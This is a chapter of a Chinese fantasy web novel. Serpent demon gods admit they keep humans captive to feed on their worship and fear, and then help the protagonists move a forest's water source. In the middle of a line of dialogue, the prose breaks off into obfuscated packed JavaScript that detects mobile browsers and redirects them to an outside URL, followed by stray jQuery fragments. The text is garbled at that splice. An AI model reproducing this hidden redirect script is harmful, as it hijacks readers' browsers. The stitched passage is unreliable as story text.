“呜呜呜……我不想死啊……” 螭趴在旁边,用微弱但清晰的声音接话,得到喘息的时机后似乎恢复了一点力气,眼中重新燃起对生的本能渴望,“我还有好多好多好吃的没尝过,好多好多地方没睡够……擘那很聪明,他想出了办法……只要把这些人类圈养起来,让他们一直记得我们、需要我们,不就可以了吗?”


    赫乌莉亚怔住,随即瞳孔骤缩,恍然大悟:“所以你们才需要人类做工!所以你最开始以为我们是打秋风来的家伙,却还是愿意主动分给我们人类——”


    她猛地转向擘那,语气复杂:“你……是在囤积他们,作为信仰的粮食。”


    “……毕竟是同族……我没那么坏。”螭低下头,看上去很是委屈,像一只受惊的幼兽般尾巴无意识地卷住自己,瑟瑟发抖,“南边……有些存在拥有很多很多人……太可怕了!”


    “很强吗?”奥罗巴斯好奇问。


    “具体的我不太清楚……反正我们谁都打不过……来了好几拨魔神了……”擘那一想到那个场景就脸色惨白,手指微微发抖,仿佛还停留在那场噩梦的余悸里无法挣脱,“但有一条螭的同类曾经试图招揽我们。很可怕,我能感觉到……他吃了很多很多人。”


    他顿了顿,喉结滚动,哽咽下去一段苦涩:“他想召集我们一起对付一个非常强大的魔神……很强。不过由于螭和我都不善战斗,所以他只需要我们定时提供人类就行了。”


    螭的目光不敢直视奥罗巴斯,小声补充道:“像你这么强的同类……他应该也会来找你的。”


    “可是吃人……”奥罗巴斯难以置信,“难道这样也能通过信仰也可以获得力量吗?”


    “经过我们的测试——”擘那苦笑,“很不幸,的确是的。而且要更快。”


    “恐惧的力量同样是甘美的果实。”他轻声道,语气近乎悲凉,“比感恩更浓烈,比祈愿更炽热。人类在颤抖中呼喊我们的名字,在睡前辗转反侧自己明天是否平安,在噩梦里献上祭品——越是恐惧,则越是强烈。”


    擘那讲述起最初的日子:他们也曾怀揣善意,效仿南方有名的大魔神,想要施舍给人类一些东西,庇佑他们安居乐业,换取真心的敬仰。螭甚至笨拙地尝试降雨、驱兽、守护田埂,可结果却是灾难。


    “可是我们根本做不到。”螭闷闷的说,眼泪顺着黯淡的鳞片滑落,在霜地上蒸腾成白雾,“擘那说得没错,我很笨,还很贪睡、爱偷吃,我连我自己都没办法吃饱,我要怎么养活人类?人类好麻烦、好难养!他们中有一部分永远也学不会捕猎,他们要好的天气、要耕地、要水源、还要火——我没办法,我只是不想死而已!”


    螭的声音越来越小,最后几乎成了呜咽,好像连哀鸣都怕吵烦奥罗巴斯,惹来更大的危险。


    奥罗巴斯久久没有说话,半晌,他才开口:


    “你这样只会死得更快。”


    螭和擘那同时一愣,抬头看他。


    “你们说了,南方强大的魔神庇护人类,而招揽你们的魔神既然需要大量人类作为食物,只能说明一件事——”奥罗巴斯目光如刀,一字一顿,“他们两位之间,即将爆发一场战争。


    奥罗巴斯记得种群之间的战斗是如何爆发的——争夺食物「信仰」、争夺栖息地『有人类的聚居地』。


    显然,这早已不是简单的领地之争,而是两种信仰体系「生存模式」的生死对决:一方以庇护换敬仰,一方以恐惧换存续。


    “不久之后,南方一定会陷入更大的战火之中。”等到奥罗巴斯说完,赫乌莉亚目光扫过两人,“你们想好站队哪边了吗?”


    螭和擘那面面相觑,眼神中满是茫然与恐惧。


    “……应该是那位和螭长得非常相似的同族?”擘那迟疑道,“毕竟有同类的话,会更好融入一些。”


    奥罗巴斯震惊:“你们都交上供奉了还在犹豫吗?”


    “那不是供奉,是保护费!!”螭强烈反对,尾巴猛地拍地,震起一片霜尘,但随即又泄了气,声音软下来,“……那不是因为打不过,所以姿态稍微卑微了那么一点点嘛……”


    奥罗巴斯忍不住笑了一声:“但是你这么做,只会让另一个魔神觉得你已经加入了同类的阵营哦。”他友善提醒,“周围有没有那位对人类很友善的大魔神的追随者呢?”


    螭也迟疑:“没有吧……?”


    “不。有的、有的。”擘那艰难咽下一口唾沫,声音颤抖,“药君就是……怪不得、怪不得自那之后他再也不过来喝酒了。”


    药君就是他们先前提到过的那条草药架子吗?


    “嘛,看来你们得好好思考如何跟周边邻居处理好关系了。”奥罗巴斯不打算理会他们本地蛇的爱恨情仇,拖拽着刚刚从尾巴上滑落的树藤,转头问向赫乌莉亚,“我们是不是应该想个办法在森林的泥土里固定住水源?”


    赫乌莉亚正蹲在溪边,指尖轻轻拨动水面。


    “盐晶一旦沾水就会很麻烦,海水只会伤害森林……”赫乌莉亚沉思,眉头微蹙,“或许我们得想想别的办法……引导地下水脉,或者用蒸腾的水元素从上方为森林补水?嘶,这样的话,我需要研究一下如何用盐晶为森林补充缺乏的矿物质了。”


    奥罗巴斯和赫乌莉亚开始自然而然地讨论起优化森林这个大行囊的细节,仿佛刚才那场关于信仰与死亡的对话从未发生,一切只是螭和擘那的错觉而已。


    “那个、那个、你不打算管我们了吗?”螭眼巴巴地问,声音里带着一丝被抛弃的慌乱。


    “……你真的很笨诶,记忆里还差劲。”奥罗巴斯瞥了丢脸的同类一眼,吐槽道,“打你是因为你听不懂蛇话,打擘那是为了拆火*,说了好久都说了只要取水而已,我又不要你的地盘,为什么要管你们?”


    螭愣住,随即眼睛一亮:“但我们能帮你们啊!只要你能带我们一起走就好!”


    “为什么一起走?”奥罗巴斯无语,“赫乌莉亚是我的朋友哦,你们不是。”


    “你们不是想要给森林蓄水吗?我有办法。”


    擘那缓缓开口,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936750|192416||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼中闪过一丝决然:“渊囊之术……这是……药君从他追随的魔神那里学到然后教我的……他说,水无主则散,有契则聚。只要水源未被他人契约,我便能利用这个术法将其纳入体内,化为活脉,随行不涸。”


    话音刚落,擘那就施展术法,整条溪流竟开始缓缓倒流——如被温柔牵引般,一滴不剩地升腾而起,化作一道旋转的水柱,尽数没入擘那胸前的虚影之中。地面留下干涸的河床,裸露出灰白的卵石与枯草根须。


    赫乌莉亚蹲下身,指尖轻触干涸的河床边缘,眉头微蹙:“你把整条溪都收走了?地下水脉不会崩塌吗?”


    “不会。”擘那喘了口气,脸色略显苍白,但眼神清明,“我还有一处本体放在无妄坡——啊,那地方是埋葬死掉人类的山头,只要我那里的本体没有被摧毁,这里的水源就不会受到任何影响。”


    奥罗巴斯低头凝视着那缓缓流淌的新溪,水流阳光下泛起微澜,全然看不出被抽走的痕迹。森林也精神足了,擘那的方法甚至还避免让赫乌莉亚的盐晶层接触到水源——


    “这是又把术法反过来了吗?”奥罗巴斯惊叹,夸赞道,“你好聪明啊!说起来,螭和我好像都不是很会创新,是不是从植物、山川变来的就要比我们族群的药聪明一点呢?”


    “一点举一反三的小手段,聪明倒也算不上。”擘那谦让了一番,声音虚弱却平静,“我把吸收的水源分出一缕,作为引子,自此之后,我的本体会在无妄坡补充地脉力量,在干旱时让地的下水脉重新找到地上水道,供养这一方领土。”


    奥罗巴斯沉默片刻,目光转向一旁急得原地打转的螭。


    “我!我的话——”螭猛地跳出来,尾巴高高扬起,几乎扫落一片松针,鳞片因激动而微微发亮,“我可以替你背起森林!我也很强壮的!”


    话音未落,螭忽然顿住,眼睛瞪得圆圆的,像是被一道灵光劈中天灵盖——


    “二期你们、不对,我们不是还要继续前往南方吗?”螭的声音陡然拔高,带着难以掩饰的雀跃,“南下有我的熟人!我们可以从她的领地借道,这样就会很安全了!”


    奥罗巴斯与赫乌莉亚对视一眼。


    “熟人?”赫乌莉亚挑眉。


    “不是熟蛇?”奥罗巴斯好奇追问。


    “还真是熟人——”螭小心翼翼地从颈后一片松动的鳞片下掏出一个泡泡。那泡泡晶莹剔透,内里流转着七彩光晕,是他最珍贵的宝物:


    “这是她送给我的礼物!晚上只要饿的时候,就把这个套在头上,就可以在梦里吃得饱饱的了!”


    泡泡在晨光下折射出梦幻般的虹彩,隐约可见其中浮现出烤鱼滋滋冒油、蜜饯裹着糖霜、糯米团子软糯拉丝的幻象——那是梦之魔神为螭量身定制的美梦,专治贪吃又总捕不到猎物吃的螭。


    可就在此时,阳光穿透林隙,直直照在泡泡表面。那七彩光晕忽然一滞,内里的美食影像如被火焰舔舐,迅速焦黑、崩解,最终化作一层灰烬般的炭末。


    ——“诶?!!!”